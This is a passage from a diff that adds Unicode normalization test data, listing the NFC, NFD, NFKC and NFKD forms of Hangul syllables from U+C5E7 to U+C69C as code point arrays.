+{ source: [0xC5E7], NFC: [0xC5E7], NFD: [0x110B, 0x1166, 0x11BE], NFKC: [0xC5E7], NFKD: [0x110B, 0x1166, 0x11BE] },
+{ source: [0xC5E8], NFC: [0xC5E8], NFD: [0x110B, 0x1166, 0x11BF], NFKC: [0xC5E8], NFKD: [0x110B, 0x1166, 0x11BF] },
+{ source: [0xC5E9], NFC: [0xC5E9], NFD: [0x110B, 0x1166, 0x11C0], NFKC: [0xC5E9], NFKD: [0x110B, 0x1166, 0x11C0] },
+{ source: [0xC5EA], NFC: [0xC5EA], NFD: [0x110B, 0x1166, 0x11C1], NFKC: [0xC5EA], NFKD: [0x110B, 0x1166, 0x11C1] },
+{ source: [0xC5EB], NFC: [0xC5EB], NFD: [0x110B, 0x1166, 0x11C2], NFKC: [0xC5EB], NFKD: [0x110B, 0x1166, 0x11C2] },
+{ source: [0xC5EC], NFC: [0xC5EC], NFD: [0x110B, 0x1167], NFKC: [0xC5EC], NFKD: [0x110B, 0x1167] },
+{ source: [0xC5ED], NFC: [0xC5ED], NFD: [0x110B, 0x1167, 0x11A8], NFKC: [0xC5ED], NFKD: [0x110B, 0x1167, 0x11A8] },
+{ source: [0xC5EE], NFC: [0xC5EE], NFD: [0x110B, 0x1167, 0x11A9], NFKC: [0xC5EE], NFKD: [0x110B, 0x1167, 0x11A9] },
+{ source: [0xC5EF], NFC: [0xC5EF], NFD: [0x110B, 0x1167, 0x11AA], NFKC: [0xC5EF], NFKD: [0x110B, 0x1167, 0x11AA] },
+{ source: [0xC5F0], NFC: [0xC5F0], NFD: [0x110B, 0x1167, 0x11AB], NFKC: [0xC5F0], NFKD: [0x110B, 0x1167, 0x11AB] },
+{ source: [0xC5F1], NFC: [0xC5F1], NFD: [0x110B, 0x1167, 0x11AC], NFKC: [0xC5F1], NFKD: [0x110B, 0x1167, 0x11AC] },
+{ source: [0xC5F2], NFC: [0xC5F2], NFD: [0x110B, 0x1167, 0x11AD], NFKC: [0xC5F2], NFKD: [0x110B, 0x1167, 0x11AD] },
+{ source: [0xC5F3], NFC: [0xC5F3], NFD: [0x110B, 0x1167, 0x11AE], NFKC: [0xC5F3], NFKD: [0x110B, 0x1167, 0x11AE] },
+{ source: [0xC5F4], NFC: [0xC5F4], NFD: [0x110B, 0x1167, 0x11AF], NFKC: [0xC5F4], NFKD: [0x110B, 0x1167, 0x11AF] },
+{ source: [0xC5F5], NFC: [0xC5F5], NFD: [0x110B, 0x1167, 0x11B0], NFKC: [0xC5F5], NFKD: [0x110B, 0x1167, 0x11B0] },
+{ source: [0xC5F6], NFC: [0xC5F6], NFD: [0x110B, 0x1167, 0x11B1], NFKC: [0xC5F6], NFKD: [0x110B, 0x1167, 0x11B1] },
+{ source: [0xC5F7], NFC: [0xC5F7], NFD: [0x110B, 0x1167, 0x11B2], NFKC: [0xC5F7], NFKD: [0x110B, 0x1167, 0x11B2] },
+{ source: [0xC5F8], NFC: [0xC5F8], NFD: [0x110B, 0x1167, 0x11B3], NFKC: [0xC5F8], NFKD: [0x110B, 0x1167, 0x11B3] },
+{ source: [0xC5F9], NFC: [0xC5F9], NFD: [0x110B, 0x1167, 0x11B4], NFKC: [0xC5F9], NFKD: [0x110B, 0x1167, 0x11B4] },
+{ source: [0xC5FA], NFC: [0xC5FA], NFD: [0x110B, 0x1167, 0x11B5], NFKC: [0xC5FA], NFKD: [0x110B, 0x1167, 0x11B5] },
+{ source: [0xC5FB], NFC: [0xC5FB], NFD: [0x110B, 0x1167, 0x11B6], NFKC: [0xC5FB], NFKD: [0x110B, 0x1167, 0x11B6] },
+{ source: [0xC5FC], NFC: [0xC5FC], NFD: [0x110B, 0x1167, 0x11B7], NFKC: [0xC5FC], NFKD: [0x110B, 0x1167, 0x11B7] },
+{ source: [0xC5FD], NFC: [0xC5FD], NFD: [0x110B, 0x1167, 0x11B8], NFKC: [0xC5FD], NFKD: [0x110B, 0x1167, 0x11B8] },
+{ source: [0xC5FE], NFC: [0xC5FE], NFD: [0x110B, 0x1167, 0x11B9], NFKC: [0xC5FE], NFKD: [0x110B, 0x1167, 0x11B9] },
+{ source: [0xC5FF], NFC: [0xC5FF], NFD: [0x110B, 0x1167, 0x11BA], NFKC: [0xC5FF], NFKD: [0x110B, 0x1167, 0x11BA] },
+{ source: [0xC600], NFC: [0xC600], NFD: [0x110B, 0x1167, 0x11BB], NFKC: [0xC600], NFKD: [0x110B, 0x1167, 0x11BB] },
+{ source: [0xC601], NFC: [0xC601], NFD: [0x110B, 0x1167, 0x11BC], NFKC: [0xC601], NFKD: [0x110B, 0x1167, 0x11BC] },
+{ source: [0xC602], NFC: [0xC602], NFD: [0x110B, 0x1167, 0x11BD], NFKC: [0xC602], NFKD: [0x110B, 0x1167, 0x11BD] },
+{ source: [0xC603], NFC: [0xC603], NFD: [0x110B, 0x1167, 0x11BE], NFKC: [0xC603], NFKD: [0x110B, 0x1167, 0x11BE] },
+{ source: [0xC604], NFC: [0xC604], NFD: [0x110B, 0x1167, 0x11BF], NFKC: [0xC604], NFKD: [0x110B, 0x1167, 0x11BF] },
+{ source: [0xC605], NFC: [0xC605], NFD: [0x110B, 0x1167, 0x11C0], NFKC: [0xC605], NFKD: [0x110B, 0x1167, 0x11C0] },
+{ source: [0xC606], NFC: [0xC606], NFD: [0x110B, 0x1167, 0x11C1], NFKC: [0xC606], NFKD: [0x110B, 0x1167, 0x11C1] },
+{ source: [0xC607], NFC: [0xC607], NFD: [0x110B, 0x1167, 0x11C2], NFKC: [0xC607], NFKD: [0x110B, 0x1167, 0x11C2] },
+{ source: [0xC608], NFC: [0xC608], NFD: [0x110B, 0x1168], NFKC: [0xC608], NFKD: [0x110B, 0x1168] },
+{ source: [0xC609], NFC: [0xC609], NFD: [0x110B, 0x1168, 0x11A8], NFKC: [0xC609], NFKD: [0x110B, 0x1168, 0x11A8] },
+{ source: [0xC60A], NFC: [0xC60A], NFD: [0x110B, 0x1168, 0x11A9], NFKC: [0xC60A], NFKD: [0x110B, 0x1168, 0x11A9] },
+{ source: [0xC60B], NFC: [0xC60B], NFD: [0x110B, 0x1168, 0x11AA], NFKC: [0xC60B], NFKD: [0x110B, 0x1168, 0x11AA] },
+{ source: [0xC60C], NFC: [0xC60C], NFD: [0x110B, 0x1168, 0x11AB], NFKC: [0xC60C], NFKD: [0x110B, 0x1168, 0x11AB] },
+{ source: [0xC60D], NFC: [0xC60D], NFD: [0x110B, 0x1168, 0x11AC], NFKC: [0xC60D], NFKD: [0x110B, 0x1168, 0x11AC] },
+{ source: [0xC60E], NFC: [0xC60E], NFD: [0x110B, 0x1168, 0x11AD], NFKC: [0xC60E], NFKD: [0x110B, 0x1168, 0x11AD] },
+{ source: [0xC60F], NFC: [0xC60F], NFD: [0x110B, 0x1168, 0x11AE], NFKC: [0xC60F], NFKD: [0x110B, 0x1168, 0x11AE] },
+{ source: [0xC610], NFC: [0xC610], NFD: [0x110B, 0x1168, 0x11AF], NFKC: [0xC610], NFKD: [0x110B, 0x1168, 0x11AF] },
+{ source: [0xC611], NFC: [0xC611], NFD: [0x110B, 0x1168, 0x11B0], NFKC: [0xC611], NFKD: [0x110B, 0x1168, 0x11B0] },
+{ source: [0xC612], NFC: [0xC612], NFD: [0x110B, 0x1168, 0x11B1], NFKC: [0xC612], NFKD: [0x110B, 0x1168, 0x11B1] },
+{ source: [0xC613], NFC: [0xC613], NFD: [0x110B, 0x1168, 0x11B2], NFKC: [0xC613], NFKD: [0x110B, 0x1168, 0x11B2] },
+{ source: [0xC614], NFC: [0xC614], NFD: [0x110B, 0x1168, 0x11B3], NFKC: [0xC614], NFKD: [0x110B, 0x1168, 0x11B3] },
+{ source: [0xC615], NFC: [0xC615], NFD: [0x110B, 0x1168, 0x11B4], NFKC: [0xC615], NFKD: [0x110B, 0x1168, 0x11B4] },
+{ source: [0xC616], NFC: [0xC616], NFD: [0x110B, 0x1168, 0x11B5], NFKC: [0xC616], NFKD: [0x110B, 0x1168, 0x11B5] },
+{ source: [0xC617], NFC: [0xC617], NFD: [0x110B, 0x1168, 0x11B6], NFKC: [0xC617], NFKD: [0x110B, 0x1168, 0x11B6] },
+{ source: [0xC618], NFC: [0xC618], NFD: [0x110B, 0x1168, 0x11B7], NFKC: [0xC618], NFKD: [0x110B, 0x1168, 0x11B7] },
+{ source: [0xC619], NFC: [0xC619], NFD: [0x110B, 0x1168, 0x11B8], NFKC: [0xC619], NFKD: [0x110B, 0x1168, 0x11B8] },
+{ source: [0xC61A], NFC: [0xC61A], NFD: [0x110B, 0x1168, 0x11B9], NFKC: [0xC61A], NFKD: [0x110B, 0x1168, 0x11B9] },
+{ source: [0xC61B], NFC: [0xC61B], NFD: [0x110B, 0x1168, 0x11BA], NFKC: [0xC61B], NFKD: [0x110B, 0x1168, 0x11BA] },
+{ source: [0xC61C], NFC: [0xC61C], NFD: [0x110B, 0x1168, 0x11BB], NFKC: [0xC61C], NFKD: [0x110B, 0x1168, 0x11BB] },
+{ source: [0xC61D], NFC: [0xC61D], NFD: [0x110B, 0x1168, 0x11BC], NFKC: [0xC61D], NFKD: [0x110B, 0x1168, 0x11BC] },
+{ source: [0xC61E], NFC: [0xC61E], NFD: [0x110B, 0x1168, 0x11BD], NFKC: [0xC61E], NFKD: [0x110B, 0x1168, 0x11BD] },
+{ source: [0xC61F], NFC: [0xC61F], NFD: [0x110B, 0x1168, 0x11BE], NFKC: [0xC61F], NFKD: [0x110B, 0x1168, 0x11BE] },
+{ source: [0xC620], NFC: [0xC620], NFD: [0x110B, 0x1168, 0x11BF], NFKC: [0xC620], NFKD: [0x110B, 0x1168, 0x11BF] },
+{ source: [0xC621], NFC: [0xC621], NFD: [0x110B, 0x1168, 0x11C0], NFKC: [0xC621], NFKD: [0x110B, 0x1168, 0x11C0] },
+{ source: [0xC622], NFC: [0xC622], NFD: [0x110B, 0x1168, 0x11C1], NFKC: [0xC622], NFKD: [0x110B, 0x1168, 0x11C1] },
+{ source: [0xC623], NFC: [0xC623], NFD: [0x110B, 0x1168, 0x11C2], NFKC: [0xC623], NFKD: [0x110B, 0x1168, 0x11C2] },
+{ source: [0xC624], NFC: [0xC624], NFD: [0x110B, 0x1169], NFKC: [0xC624], NFKD: [0x110B, 0x1169] },
+{ source: [0xC625], NFC: [0xC625], NFD: [0x110B, 0x1169, 0x11A8], NFKC: [0xC625], NFKD: [0x110B, 0x1169, 0x11A8] },
+{ source: [0xC626], NFC: [0xC626], NFD: [0x110B, 0x1169, 0x11A9], NFKC: [0xC626], NFKD: [0x110B, 0x1169, 0x11A9] },
+{ source: [0xC627], NFC: [0xC627], NFD: [0x110B, 0x1169, 0x11AA], NFKC: [0xC627], NFKD: [0x110B, 0x1169, 0x11AA] },
+{ source: [0xC628], NFC: [0xC628], NFD: [0x110B, 0x1169, 0x11AB], NFKC: [0xC628], NFKD: [0x110B, 0x1169, 0x11AB] },
+{ source: [0xC629], NFC: [0xC629], NFD: [0x110B, 0x1169, 0x11AC], NFKC: [0xC629], NFKD: [0x110B, 0x1169, 0x11AC] },
+{ source: [0xC62A], NFC: [0xC62A], NFD: [0x110B, 0x1169, 0x11AD], NFKC: [0xC62A], NFKD: [0x110B, 0x1169, 0x11AD] },
+{ source: [0xC62B], NFC: [0xC62B], NFD: [0x110B, 0x1169, 0x11AE], NFKC: [0xC62B], NFKD: [0x110B, 0x1169, 0x11AE] },
+{ source: [0xC62C], NFC: [0xC62C], NFD: [0x110B, 0x1169, 0x11AF], NFKC: [0xC62C], NFKD: [0x110B, 0x1169, 0x11AF] },
+{ source: [0xC62D], NFC: [0xC62D], NFD: [0x110B, 0x1169, 0x11B0], NFKC: [0xC62D], NFKD: [0x110B, 0x1169, 0x11B0] },
+{ source: [0xC62E], NFC: [0xC62E], NFD: [0x110B, 0x1169, 0x11B1], NFKC: [0xC62E], NFKD: [0x110B, 0x1169, 0x11B1] },
+{ source: [0xC62F], NFC: [0xC62F], NFD: [0x110B, 0x1169, 0x11B2], NFKC: [0xC62F], NFKD: [0x110B, 0x1169, 0x11B2] },
+{ source: [0xC630], NFC: [0xC630], NFD: [0x110B, 0x1169, 0x11B3], NFKC: [0xC630], NFKD: [0x110B, 0x1169, 0x11B3] },
+{ source: [0xC631], NFC: [0xC631], NFD: [0x110B, 0x1169, 0x11B4], NFKC: [0xC631], NFKD: [0x110B, 0x1169, 0x11B4] },
+{ source: [0xC632], NFC: [0xC632], NFD: [0x110B, 0x1169, 0x11B5], NFKC: [0xC632], NFKD: [0x110B, 0x1169, 0x11B5] },
+{ source: [0xC633], NFC: [0xC633], NFD: [0x110B, 0x1169, 0x11B6], NFKC: [0xC633], NFKD: [0x110B, 0x1169, 0x11B6] },
+{ source: [0xC634], NFC: [0xC634], NFD: [0x110B, 0x1169, 0x11B7], NFKC: [0xC634], NFKD: [0x110B, 0x1169, 0x11B7] },
+{ source: [0xC635], NFC: [0xC635], NFD: [0x110B, 0x1169, 0x11B8], NFKC: [0xC635], NFKD: [0x110B, 0x1169, 0x11B8] },
+{ source: [0xC636], NFC: [0xC636], NFD: [0x110B, 0x1169, 0x11B9], NFKC: [0xC636], NFKD: [0x110B, 0x1169, 0x11B9] },
+{ source: [0xC637], NFC: [0xC637], NFD: [0x110B, 0x1169, 0x11BA], NFKC: [0xC637], NFKD: [0x110B, 0x1169, 0x11BA] },
+{ source: [0xC638], NFC: [0xC638], NFD: [0x110B, 0x1169, 0x11BB], NFKC: [0xC638], NFKD: [0x110B, 0x1169, 0x11BB] },
+{ source: [0xC639], NFC: [0xC639], NFD: [0x110B, 0x1169, 0x11BC], NFKC: [0xC639], NFKD: [0x110B, 0x1169, 0x11BC] },
+{ source: [0xC63A], NFC: [0xC63A], NFD: [0x110B, 0x1169, 0x11BD], NFKC: [0xC63A], NFKD: [0x110B, 0x1169, 0x11BD] },
+{ source: [0xC63B], NFC: [0xC63B], NFD: [0x110B, 0x1169, 0x11BE], NFKC: [0xC63B], NFKD: [0x110B, 0x1169, 0x11BE] },
+{ source: [0xC63C], NFC: [0xC63C], NFD: [0x110B, 0x1169, 0x11BF], NFKC: [0xC63C], NFKD: [0x110B, 0x1169, 0x11BF] },
+{ source: [0xC63D], NFC: [0xC63D], NFD: [0x110B, 0x1169, 0x11C0], NFKC: [0xC63D], NFKD: [0x110B, 0x1169, 0x11C0] },
+{ source: [0xC63E], NFC: [0xC63E], NFD: [0x110B, 0x1169, 0x11C1], NFKC: [0xC63E], NFKD: [0x110B, 0x1169, 0x11C1] },
+{ source: [0xC63F], NFC: [0xC63F], NFD: [0x110B, 0x1169, 0x11C2], NFKC: [0xC63F], NFKD: [0x110B, 0x1169, 0x11C2] },
+{ source: [0xC640], NFC: [0xC640], NFD: [0x110B, 0x116A], NFKC: [0xC640], NFKD: [0x110B, 0x116A] },
+{ source: [0xC641], NFC: [0xC641], NFD: [0x110B, 0x116A, 0x11A8], NFKC: [0xC641], NFKD: [0x110B, 0x116A, 0x11A8] },
+{ source: [0xC642], NFC: [0xC642], NFD: [0x110B, 0x116A, 0x11A9], NFKC: [0xC642], NFKD: [0x110B, 0x116A, 0x11A9] },
+{ source: [0xC643], NFC: [0xC643], NFD: [0x110B, 0x116A, 0x11AA], NFKC: [0xC643], NFKD: [0x110B, 0x116A, 0x11AA] },
+{ source: [0xC644], NFC: [0xC644], NFD: [0x110B, 0x116A, 0x11AB], NFKC: [0xC644], NFKD: [0x110B, 0x116A, 0x11AB] },
+{ source: [0xC645], NFC: [0xC645], NFD: [0x110B, 0x116A, 0x11AC], NFKC: [0xC645], NFKD: [0x110B, 0x116A, 0x11AC] },
+{ source: [0xC646], NFC: [0xC646], NFD: [0x110B, 0x116A, 0x11AD], NFKC: [0xC646], NFKD: [0x110B, 0x116A, 0x11AD] },
+{ source: [0xC647], NFC: [0xC647], NFD: [0x110B, 0x116A, 0x11AE], NFKC: [0xC647], NFKD: [0x110B, 0x116A, 0x11AE] },
+{ source: [0xC648], NFC: [0xC648], NFD: [0x110B, 0x116A, 0x11AF], NFKC: [0xC648], NFKD: [0x110B, 0x116A, 0x11AF] },
+{ source: [0xC649], NFC: [0xC649], NFD: [0x110B, 0x116A, 0x11B0], NFKC: [0xC649], NFKD: [0x110B, 0x116A, 0x11B0] },
+{ source: [0xC64A], NFC: [0xC64A], NFD: [0x110B, 0x116A, 0x11B1], NFKC: [0xC64A], NFKD: [0x110B, 0x116A, 0x11B1] },
+{ source: [0xC64B], NFC: [0xC64B], NFD: [0x110B, 0x116A, 0x11B2], NFKC: [0xC64B], NFKD: [0x110B, 0x116A, 0x11B2] },
+{ source: [0xC64C], NFC: [0xC64C], NFD: [0x110B, 0x116A, 0x11B3], NFKC: [0xC64C], NFKD: [0x110B, 0x116A, 0x11B3] },
+{ source: [0xC64D], NFC: [0xC64D], NFD: [0x110B, 0x116A, 0x11B4], NFKC: [0xC64D], NFKD: [0x110B, 0x116A, 0x11B4] },
+{ source: [0xC64E], NFC: [0xC64E], NFD: [0x110B, 0x116A, 0x11B5], NFKC: [0xC64E], NFKD: [0x110B, 0x116A, 0x11B5] },
+{ source: [0xC64F], NFC: [0xC64F], NFD: [0x110B, 0x116A, 0x11B6], NFKC: [0xC64F], NFKD: [0x110B, 0x116A, 0x11B6] },
+{ source: [0xC650], NFC: [0xC650], NFD: [0x110B, 0x116A, 0x11B7], NFKC: [0xC650], NFKD: [0x110B, 0x116A, 0x11B7] },
+{ source: [0xC651], NFC: [0xC651], NFD: [0x110B, 0x116A, 0x11B8], NFKC: [0xC651], NFKD: [0x110B, 0x116A, 0x11B8] },
+{ source: [0xC652], NFC: [0xC652], NFD: [0x110B, 0x116A, 0x11B9], NFKC: [0xC652], NFKD: [0x110B, 0x116A, 0x11B9] },
+{ source: [0xC653], NFC: [0xC653], NFD: [0x110B, 0x116A, 0x11BA], NFKC: [0xC653], NFKD: [0x110B, 0x116A, 0x11BA] },
+{ source: [0xC654], NFC: [0xC654], NFD: [0x110B, 0x116A, 0x11BB], NFKC: [0xC654], NFKD: [0x110B, 0x116A, 0x11BB] },
+{ source: [0xC655], NFC: [0xC655], NFD: [0x110B, 0x116A, 0x11BC], NFKC: [0xC655], NFKD: [0x110B, 0x116A, 0x11BC] },
+{ source: [0xC656], NFC: [0xC656], NFD: [0x110B, 0x116A, 0x11BD], NFKC: [0xC656], NFKD: [0x110B, 0x116A, 0x11BD] },
+{ source: [0xC657], NFC: [0xC657], NFD: [0x110B, 0x116A, 0x11BE], NFKC: [0xC657], NFKD: [0x110B, 0x116A, 0x11BE] },
+{ source: [0xC658], NFC: [0xC658], NFD: [0x110B, 0x116A, 0x11BF], NFKC: [0xC658], NFKD: [0x110B, 0x116A, 0x11BF] },
+{ source: [0xC659], NFC: [0xC659], NFD: [0x110B, 0x116A, 0x11C0], NFKC: [0xC659], NFKD: [0x110B, 0x116A, 0x11C0] },
+{ source: [0xC65A], NFC: [0xC65A], NFD: [0x110B, 0x116A, 0x11C1], NFKC: [0xC65A], NFKD: [0x110B, 0x116A, 0x11C1] },
+{ source: [0xC65B], NFC: [0xC65B], NFD: [0x110B, 0x116A, 0x11C2], NFKC: [0xC65B], NFKD: [0x110B, 0x116A, 0x11C2] },
+{ source: [0xC65C], NFC: [0xC65C], NFD: [0x110B, 0x116B], NFKC: [0xC65C], NFKD: [0x110B, 0x116B] },
+{ source: [0xC65D], NFC: [0xC65D], NFD: [0x110B, 0x116B, 0x11A8], NFKC: [0xC65D], NFKD: [0x110B, 0x116B, 0x11A8] },
+{ source: [0xC65E], NFC: [0xC65E], NFD: [0x110B, 0x116B, 0x11A9], NFKC: [0xC65E], NFKD: [0x110B, 0x116B, 0x11A9] },
+{ source: [0xC65F], NFC: [0xC65F], NFD: [0x110B, 0x116B, 0x11AA], NFKC: [0xC65F], NFKD: [0x110B, 0x116B, 0x11AA] },
+{ source: [0xC660], NFC: [0xC660], NFD: [0x110B, 0x116B, 0x11AB], NFKC: [0xC660], NFKD: [0x110B, 0x116B, 0x11AB] },
+{ source: [0xC661], NFC: [0xC661], NFD: [0x110B, 0x116B, 0x11AC], NFKC: [0xC661], NFKD: [0x110B, 0x116B, 0x11AC] },
+{ source: [0xC662], NFC: [0xC662], NFD: [0x110B, 0x116B, 0x11AD], NFKC: [0xC662], NFKD: [0x110B, 0x116B, 0x11AD] },
+{ source: [0xC663], NFC: [0xC663], NFD: [0x110B, 0x116B, 0x11AE], NFKC: [0xC663], NFKD: [0x110B, 0x116B, 0x11AE] },
+{ source: [0xC664], NFC: [0xC664], NFD: [0x110B, 0x116B, 0x11AF], NFKC: [0xC664], NFKD: [0x110B, 0x116B, 0x11AF] },
+{ source: [0xC665], NFC: [0xC665], NFD: [0x110B, 0x116B, 0x11B0], NFKC: [0xC665], NFKD: [0x110B, 0x116B, 0x11B0] },
+{ source: [0xC666], NFC: [0xC666], NFD: [0x110B, 0x116B, 0x11B1], NFKC: [0xC666], NFKD: [0x110B, 0x116B, 0x11B1] },
+{ source: [0xC667], NFC: [0xC667], NFD: [0x110B, 0x116B, 0x11B2], NFKC: [0xC667], NFKD: [0x110B, 0x116B, 0x11B2] },
+{ source: [0xC668], NFC: [0xC668], NFD: [0x110B, 0x116B, 0x11B3], NFKC: [0xC668], NFKD: [0x110B, 0x116B, 0x11B3] },
+{ source: [0xC669], NFC: [0xC669], NFD: [0x110B, 0x116B, 0x11B4], NFKC: [0xC669], NFKD: [0x110B, 0x116B, 0x11B4] },
+{ source: [0xC66A], NFC: [0xC66A], NFD: [0x110B, 0x116B, 0x11B5], NFKC: [0xC66A], NFKD: [0x110B, 0x116B, 0x11B5] },
+{ source: [0xC66B], NFC: [0xC66B], NFD: [0x110B, 0x116B, 0x11B6], NFKC: [0xC66B], NFKD: [0x110B, 0x116B, 0x11B6] },
+{ source: [0xC66C], NFC: [0xC66C], NFD: [0x110B, 0x116B, 0x11B7], NFKC: [0xC66C], NFKD: [0x110B, 0x116B, 0x11B7] },
+{ source: [0xC66D], NFC: [0xC66D], NFD: [0x110B, 0x116B, 0x11B8], NFKC: [0xC66D], NFKD: [0x110B, 0x116B, 0x11B8] },
+{ source: [0xC66E], NFC: [0xC66E], NFD: [0x110B, 0x116B, 0x11B9], NFKC: [0xC66E], NFKD: [0x110B, 0x116B, 0x11B9] },
+{ source: [0xC66F], NFC: [0xC66F], NFD: [0x110B, 0x116B, 0x11BA], NFKC: [0xC66F], NFKD: [0x110B, 0x116B, 0x11BA] },
+{ source: [0xC670], NFC: [0xC670], NFD: [0x110B, 0x116B, 0x11BB], NFKC: [0xC670], NFKD: [0x110B, 0x116B, 0x11BB] },
+{ source: [0xC671], NFC: [0xC671], NFD: [0x110B, 0x116B, 0x11BC], NFKC: [0xC671], NFKD: [0x110B, 0x116B, 0x11BC] },
+{ source: [0xC672], NFC: [0xC672], NFD: [0x110B, 0x116B, 0x11BD], NFKC: [0xC672], NFKD: [0x110B, 0x116B, 0x11BD] },
+{ source: [0xC673], NFC: [0xC673], NFD: [0x110B, 0x116B, 0x11BE], NFKC: [0xC673], NFKD: [0x110B, 0x116B, 0x11BE] },
+{ source: [0xC674], NFC: [0xC674], NFD: [0x110B, 0x116B, 0x11BF], NFKC: [0xC674], NFKD: [0x110B, 0x116B, 0x11BF] },
+{ source: [0xC675], NFC: [0xC675], NFD: [0x110B, 0x116B, 0x11C0], NFKC: [0xC675], NFKD: [0x110B, 0x116B, 0x11C0] },
+{ source: [0xC676], NFC: [0xC676], NFD: [0x110B, 0x116B, 0x11C1], NFKC: [0xC676], NFKD: [0x110B, 0x116B, 0x11C1] },
+{ source: [0xC677], NFC: [0xC677], NFD: [0x110B, 0x116B, 0x11C2], NFKC: [0xC677], NFKD: [0x110B, 0x116B, 0x11C2] },
+{ source: [0xC678], NFC: [0xC678], NFD: [0x110B, 0x116C], NFKC: [0xC678], NFKD: [0x110B, 0x116C] },
+{ source: [0xC679], NFC: [0xC679], NFD: [0x110B, 0x116C, 0x11A8], NFKC: [0xC679], NFKD: [0x110B, 0x116C, 0x11A8] },
+{ source: [0xC67A], NFC: [0xC67A], NFD: [0x110B, 0x116C, 0x11A9], NFKC: [0xC67A], NFKD: [0x110B, 0x116C, 0x11A9] },
+{ source: [0xC67B], NFC: [0xC67B], NFD: [0x110B, 0x116C, 0x11AA], NFKC: [0xC67B], NFKD: [0x110B, 0x116C, 0x11AA] },
+{ source: [0xC67C], NFC: [0xC67C], NFD: [0x110B, 0x116C, 0x11AB], NFKC: [0xC67C], NFKD: [0x110B, 0x116C, 0x11AB] },
+{ source: [0xC67D], NFC: [0xC67D], NFD: [0x110B, 0x116C, 0x11AC], NFKC: [0xC67D], NFKD: [0x110B, 0x116C, 0x11AC] },
+{ source: [0xC67E], NFC: [0xC67E], NFD: [0x110B, 0x116C, 0x11AD], NFKC: [0xC67E], NFKD: [0x110B, 0x116C, 0x11AD] },
+{ source: [0xC67F], NFC: [0xC67F], NFD: [0x110B, 0x116C, 0x11AE], NFKC: [0xC67F], NFKD: [0x110B, 0x116C, 0x11AE] },
+{ source: [0xC680], NFC: [0xC680], NFD: [0x110B, 0x116C, 0x11AF], NFKC: [0xC680], NFKD: [0x110B, 0x116C, 0x11AF] },
+{ source: [0xC681], NFC: [0xC681], NFD: [0x110B, 0x116C, 0x11B0], NFKC: [0xC681], NFKD: [0x110B, 0x116C, 0x11B0] },
+{ source: [0xC682], NFC: [0xC682], NFD: [0x110B, 0x116C, 0x11B1], NFKC: [0xC682], NFKD: [0x110B, 0x116C, 0x11B1] },
+{ source: [0xC683], NFC: [0xC683], NFD: [0x110B, 0x116C, 0x11B2], NFKC: [0xC683], NFKD: [0x110B, 0x116C, 0x11B2] },
+{ source: [0xC684], NFC: [0xC684], NFD: [0x110B, 0x116C, 0x11B3], NFKC: [0xC684], NFKD: [0x110B, 0x116C, 0x11B3] },
+{ source: [0xC685], NFC: [0xC685], NFD: [0x110B, 0x116C, 0x11B4], NFKC: [0xC685], NFKD: [0x110B, 0x116C, 0x11B4] },
+{ source: [0xC686], NFC: [0xC686], NFD: [0x110B, 0x116C, 0x11B5], NFKC: [0xC686], NFKD: [0x110B, 0x116C, 0x11B5] },
+{ source: [0xC687], NFC: [0xC687], NFD: [0x110B, 0x116C, 0x11B6], NFKC: [0xC687], NFKD: [0x110B, 0x116C, 0x11B6] },
+{ source: [0xC688], NFC: [0xC688], NFD: [0x110B, 0x116C, 0x11B7], NFKC: [0xC688], NFKD: [0x110B, 0x116C, 0x11B7] },
+{ source: [0xC689], NFC: [0xC689], NFD: [0x110B, 0x116C, 0x11B8], NFKC: [0xC689], NFKD: [0x110B, 0x116C, 0x11B8] },
+{ source: [0xC68A], NFC: [0xC68A], NFD: [0x110B, 0x116C, 0x11B9], NFKC: [0xC68A], NFKD: [0x110B, 0x116C, 0x11B9] },
+{ source: [0xC68B], NFC: [0xC68B], NFD: [0x110B, 0x116C, 0x11BA], NFKC: [0xC68B], NFKD: [0x110B, 0x116C, 0x11BA] },
+{ source: [0xC68C], NFC: [0xC68C], NFD: [0x110B, 0x116C, 0x11BB], NFKC: [0xC68C], NFKD: [0x110B, 0x116C, 0x11BB] },
+{ source: [0xC68D], NFC: [0xC68D], NFD: [0x110B, 0x116C, 0x11BC], NFKC: [0xC68D], NFKD: [0x110B, 0x116C, 0x11BC] },
+{ source: [0xC68E], NFC: [0xC68E], NFD: [0x110B, 0x116C, 0x11BD], NFKC: [0xC68E], NFKD: [0x110B, 0x116C, 0x11BD] },
+{ source: [0xC68F], NFC: [0xC68F], NFD: [0x110B, 0x116C, 0x11BE], NFKC: [0xC68F], NFKD: [0x110B, 0x116C, 0x11BE] },
+{ source: [0xC690], NFC: [0xC690], NFD: [0x110B, 0x116C, 0x11BF], NFKC: [0xC690], NFKD: [0x110B, 0x116C, 0x11BF] },
+{ source: [0xC691], NFC: [0xC691], NFD: [0x110B, 0x116C, 0x11C0], NFKC: [0xC691], NFKD: [0x110B, 0x116C, 0x11C0] },
+{ source: [0xC692], NFC: [0xC692], NFD: [0x110B, 0x116C, 0x11C1], NFKC: [0xC692], NFKD: [0x110B, 0x116C, 0x11C1] },
+{ source: [0xC693], NFC: [0xC693], NFD: [0x110B, 0x116C, 0x11C2], NFKC: [0xC693], NFKD: [0x110B, 0x116C, 0x11C2] },
+{ source: [0xC694], NFC: [0xC694], NFD: [0x110B, 0x116D], NFKC: [0xC694], NFKD: [0x110B, 0x116D] },
+{ source: [0xC695], NFC: [0xC695], NFD: [0x110B, 0x116D, 0x11A8], NFKC: [0xC695], NFKD: [0x110B, 0x116D, 0x11A8] },
+{ source: [0xC696], NFC: [0xC696], NFD: [0x110B, 0x116D, 0x11A9], NFKC: [0xC696], NFKD: [0x110B, 0x116D, 0x11A9] },
+{ source: [0xC697], NFC: [0xC697], NFD: [0x110B, 0x116D, 0x11AA], NFKC: [0xC697], NFKD: [0x110B, 0x116D, 0x11AA] },
+{ source: [0xC698], NFC: [0xC698], NFD: [0x110B, 0x116D, 0x11AB], NFKC: [0xC698], NFKD: [0x110B, 0x116D, 0x11AB] },
+{ source: [0xC699], NFC: [0xC699], NFD: [0x110B, 0x116D, 0x11AC], NFKC: [0xC699], NFKD: [0x110B, 0x116D, 0x11AC] },
+{ source: [0xC69A], NFC: [0xC69A], NFD: [0x110B, 0x116D, 0x11AD], NFKC: [0xC69A], NFKD: [0x110B, 0x116D, 0x11AD] },
+{ source: [0xC69B], NFC: [0xC69B], NFD: [0x110B, 0x116D, 0x11AE], NFKC: [0xC69B], NFKD: [0x110B, 0x116D, 0x11AE] },
+{ source: [0xC69C], NFC: [0xC69C], NFD: [0x110B, 0x116D, 0x11AF], NFKC: [0xC69C], NFKD: [0x110B, 0x116D, 0x11AF] },
